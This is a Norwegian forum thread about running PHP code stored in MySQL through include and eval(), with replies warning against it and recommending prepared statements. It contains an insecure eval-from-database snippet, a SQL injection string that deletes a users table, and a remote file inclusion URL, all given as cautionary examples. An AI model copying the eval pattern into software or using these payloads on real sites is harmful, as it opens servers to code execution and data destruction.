Gå til innhold

[Løst] Hvordan bruke PHP Include fra MySql


Anbefalte innlegg

Videoannonse
Annonse
Gjest Slettet+9871234

Generelt:

 

Er det noe forskjellig fra og hente annen informasjon fra en SQL fil?

 

http://www.oopschool.com/books/ProPHP6Example.pdf Avsnitt 4.

 

den skal hente info og brukes i php filen som om det er en function.

  1. Som om er ikke det samme som er. Djevelen ligger i detaljene.
  2. Merk også at MySQL og særlig PostGreSQL har innebygde funksjoner og prosedyrer som utfører samme operasjon raskere enn å gjøre det samme i PHP eller i et annet skripting språk.

 

Informasjonen leses ofte inn i en en eller flerdimensjonal array for så å behandles videre i skriptet.

 

Jeg har aldri selv prøvd det du vil gjøre, men kan du hente det som en fil som legges i en mappe på serveren (du må ha skrive adgang til den mappen chmod 777 f.eks.) og kjøres senere i programmet. En annen mulg løsning er å levere koden som XML kode om det kan gjøre det samme. Jeg har heller ikke prøvd det.

Endret av Slettet+9871234
Lenke til kommentar
Gjest Slettet+9871234

Og hvor kompakt kan det gjøres om koden ligger i en celle i en rad?

 

Kan hende åpner dette for avansert database / skripting løsninger ved å kombinere det med en eller annen join. Jeg bare tenker høyt. Noen ganger er bare en av 10 tanker brukbare, men det er bede enn ingen :new_woot:

Lenke til kommentar
Gjest Slettet+9871234

Kompakte løsninger er geniale. Statistikk er ofte projeksjoner i hilbert rom.

 

Sofus Lie var fra Moss hvor jeg nå bor. Jeg fikk høre (tror det var på matnat UIO) at Einsteins relativitetsteori blir enkel om du kan Lie Algebra. Det er nok desverre ikke enkelt å beherske Lie Algebra: http://mathworld.wolfram.com/LieAlgebra.html

 

Tenk at et treff fra Wolfram var like under Wikipedia treffet. :roll: som selvsagt har første plassen :blush:

Endret av Slettet+9871234
Lenke til kommentar

Eksempel som jeg tror fungerer til førstepost:

$sql = mysql_query("SELECT * FROM `row` WHERE celle_id=1");
$res = mysql_fetch_array($sql);

$data = $res['celle1'];
eval("<?php ". $data ." ?>");

 

Jeg slet litt med å se hva du mente kgun... Skal si at Sofis Lie (Lie Algebra) har slått godt ann.. søkte selv litt på det, synd jeg kan så ite matematikk :p

 

Edit: Something was edited.. :)

Endret av warpie
  • Liker 1
Lenke til kommentar

Hvorfor i alle verden vil du gjøre dette da? Det er i utgangspunktet en treig og ikke minst usikker løsning, så hvorfor bruke den? Hva skjer om du glemmer å sikre en query et sted i koden din? Nå kan man i prinsippet inkludere hvilke filer man vil på nettsiden din om du er skikkelig uheldig.

 

Funksjoner som eval() er ikke til å spøke med.

 

xibriz: Bra flere er våkne her.

Endret av Sono Juventino
Lenke til kommentar
Gjest Slettet+9871234

Eval is evil!!

 

Dette blir en våt drøm for noen som klarer å injecte den databasen med php-kode :D

Hva om de kombineres med "Prepared statements" samt PDO?

 

http://www.php.net/manual/en/pdo.prepare.php

 

Bla ned til siste eksempel.

 

Prepared statements in MySQL are an alternative to writing raw SQL code to execute. Instead, you write a statement with placeholders (?)

Kilde: http://www.ultramegatech.com/2009/07/using-mysql-prepared-statements-in-php/

 

Ja takk begge deler sikkerhet og raskhet er ikke alltid oppnåelig om dere da ikke har en bedre løsning?

 

Generelt søk:

 

php prepared statements mysql

 

Les også der om pro og kontra i ovennevnte tråd:

 

A prepared statement is basically a template that can be reused with different variables. There are some benefits and drawbacks to prepared statements that should be considered:

 

Pros:

 

Prevents SQL injection without needing to escape data

Allows you to repeat the same statement without the overhead of parsing the SQL

Allows you to send raw binary data in packets

Creates code that is easier to read by separating SQL logic from data

 

Cons:

 

Slower for one time queries since it requires two requests from the MySQL server

Limited to SELECT, INSERT, REPLACE, UPDATE, DELETE, and CREATE TABLE queries

Placeholders can only be used for values and not table/column names

 

Conclusion: I'd say prepared statements win due to security benefits alone

 

PHP supports MySQL prepared statements using the Mysqli (MySQL Improved) extension in PHP 5 via the MySQLi_STMT class. They are fairly easy to use once you get used to the differences from writing raw SQL statements. This tutorial will explain how to use prepared statements.

Endret av Slettet+9871234
Lenke til kommentar

Det finnes langt bedre løsninger. Om det kodes objekt-orientert, burde man absolutt ta en kikk på __autoload(). En relativt vanlig løsning i MVC er en routerkomponent som inkluderer filer automatisk. Dette er nok allikevel ikke spesielt aktuelt i prosedyrekode.

 

Et annet alternativ å er bruke konstanter eller klassekonstanter.

 

Egentlig kan man godt lagre NAVNET på filen i databasen. Det hadde derimot vært langt bedre å gjøre tilsvarende:

 

$file = $sql['row'].'.php';

 

include($file); Med noen få sjekker (../, http://, f. eks) ville vært langt sikrere.

 

Btw: Prepared statements er ikke noe nytt. Det vil helt klart bedre sikkerheten, men det hindrer ikke annet enn injection. "'; or username = 1" er fortsatt en lovlig verdi i databasen, selv om den nå er ufarlig i spørringen i seg selv. Det er fortsatt mulig å putte farlig php-kode inn i databasen.

Endret av Sono Juventino
Lenke til kommentar
Gjest Slettet+9871234

Det er fortsatt mulig å putte farlig php-kode inn i databasen.

Det sikreste er nok å ikke tillate kode i databasen i det hele tatt. Kan ikke det samme oppnås om man legger koden i en fil, men det er vel heller ikke sikkert. SQLite er jo en filbasert databaseløsning. SQLlite er som json godt nok til noen formål. Noen ganger er godt nok best.

 

Jeg er visst den eneste tilhengeren av cURL her inne. Uten at jeg har gått i dypden på cURL, hevdes det av min amerikanske hoster å være den sikreste måten å kalle fjerne skript på.

 

Men man bør vel strengt tatt bare kalle skript man selv har kontroll på.

 

Bør man med andre ord være varsom med å legge lenker som denne:

 

http://www.articlenorway.com/feature/feature1.php (Min så den har jeg kontroll på) i en database?

 

Hva om jeg endret innholdet på den lenken til å slette hele databasen? Er det mulig?

 

Dvs bedre å legge lenker i et HTML dokument enn i en php fil.

Endret av Slettet+9871234
Lenke til kommentar

Å legge linker i databasen er i prinsippet ufarlig i seg selv. Det er med andre ord ikke farlig å angi profilbildet til en bruker i databasen som "/images/users/username.png". Det farlige er å gi folk muligheten til å spesifisere linker til innhold de kan INKLUDERE og dermed kjøre på din egen server. Eval() er i så måte KRISE.

 

I prinsippet er det ikke mulig å slette noe via databasen via en link. Enkelte nettsider sikrer allikevel alt for dårlig mot slikt. Det er ikke uvanlig å se kode som dette:

 

$username = $_GET['user'];
$query = "SELECT * FROM user WHERE username = '$username'";
// Query kjører her

 

Hva skjer om jeg skriver sidenavn.php?user='' OR 1; DELETE FROM USERS WHERE 1

 

Hva skjer så om man tillater følgende?

 

$file = $_GET['file'];
include($file);

 

http://side.com/index.php?file=http://dangerous.com/script.php

 

 

Kort fortklart handler det om å hindre brukere i å kunne gjennomføre slike ting. Da skriver man gjerne en include for hånd for mye om man er usikker.

Endret av Sono Juventino
Lenke til kommentar

Det er ingen problem å legge hva som helst i en database, alt handler om escaping av spesielle (farlige) karakterer for det spesielle bruksområdet.

 

Problemet er når du henter det ut av databasen å kjører det i en funksjon som eval(). Da bør du ha 100% stålkontroll på hva som kjøres i den funksjonen.

 

Hvis det er en fil som ligger lokalt på serveren så er det bedre å kjøre file_exist() for å sjekke at filen faktisk finnes før man inkluderer den.

 

Jeg har ingen problemer med cURL, men da henter du innholdet fra en ekstern side inn i din side.. da bør du være sikker på at det ikke er noe XSS på gang å kjøre htmlspecialchars() på all output.

Lenke til kommentar

eval() er ikke problemet. Problemet vil da være at SQL-kallingene kan være dårlig sikret. Jeg for min del er veldig streng på sikkerheten, og dette uten unntak når jeg utvikler sider som tar i bruk eval(). Det skal kjeldent være et problem om du bare tenker sikkerhet først.

 

Hackeren må ha et vis på å komme seg inn i den databasen. Og det er slett ikke altid så lett :)

 

I vote for this: Funksjoner som eval() er ikke til å spøke med.

Endret av warpie
Lenke til kommentar

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
  • Hvem er aktive   0 medlemmer

    • Ingen innloggede medlemmer aktive
×
×
  • Opprett ny...